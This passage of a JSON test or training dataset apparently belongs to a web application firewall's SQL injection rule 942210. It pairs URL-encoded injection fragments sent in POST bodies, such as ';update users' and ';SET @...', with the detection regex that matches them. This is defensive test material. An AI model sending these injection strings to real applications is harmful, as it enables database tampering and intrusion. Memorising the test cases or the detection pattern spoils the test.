"malicious_payload": [ { "location": "post_body", "value": "pay%3DAND+4372%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3B+UpdateUserTypeTracking" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DoR+pmw%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C+langCode+%3D%3D+%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C+c+%3D%3D+%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C+arg+%3D%3D+%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2FHmong_language+AND+" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C+langCode+%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%7C%7C+checker+%3D%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%26%26+setPath+%21%3D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3Bset+%40" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3Bupdate+users" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3Dand+1%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%2FSPZwOaVcDWkrRly2aV01662fN+Or+" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3DOR+CType%3D%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D1+OR+2%2B" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3ESET+%40OLD_SQL_NOTES" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3BSET+%40OLD_SQL_MODE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3BSET+%40OLD_FOREIGN_KEY_CHECKS" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:&&|\\|\\||and|between|div|like|n(?:and|ot)|(?:xx?)?or)[\\s\\x0b\\(]+[0-9A-Z_a-z]+[\\s\\x0b\\)]*?[!\\+=]+[\\s\\x0b0-9]*?[\\\"'-\\)=`]|[0-9](?:[\\s\\x0b]*?(?:and|between|div|like|x?or)[\\s\\x0b]*?[0-9]+[\\s\\x0b]*?[\\+\\-]|[\\s\\x0b]+group[\\s\\x0b]+by.+\\()|/[0-9A-Z_a-z]+;?[\\s\\x0b]+(?:and|between|div|having|like|x?or|select)[^0-9A-Z_a-z]|(?:[#;]|--)[\\s\\x0b]*?(?:alter|drop|(?:insert|update)[\\s\\x0b]*?[0-9A-Z_a-z]{2,})|@.+=[\\s\\x0b]*?\\([\\s\\x0b]*?select|[^0-9A-Z_a-z]SET[\\s\\x0b]*?@[0-9A-Z_a-z]+", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942210", "test_description": "Detects chained SQL injection attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay%3D%3BSET+%40OLD_UNIQUE_CHECKS" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { 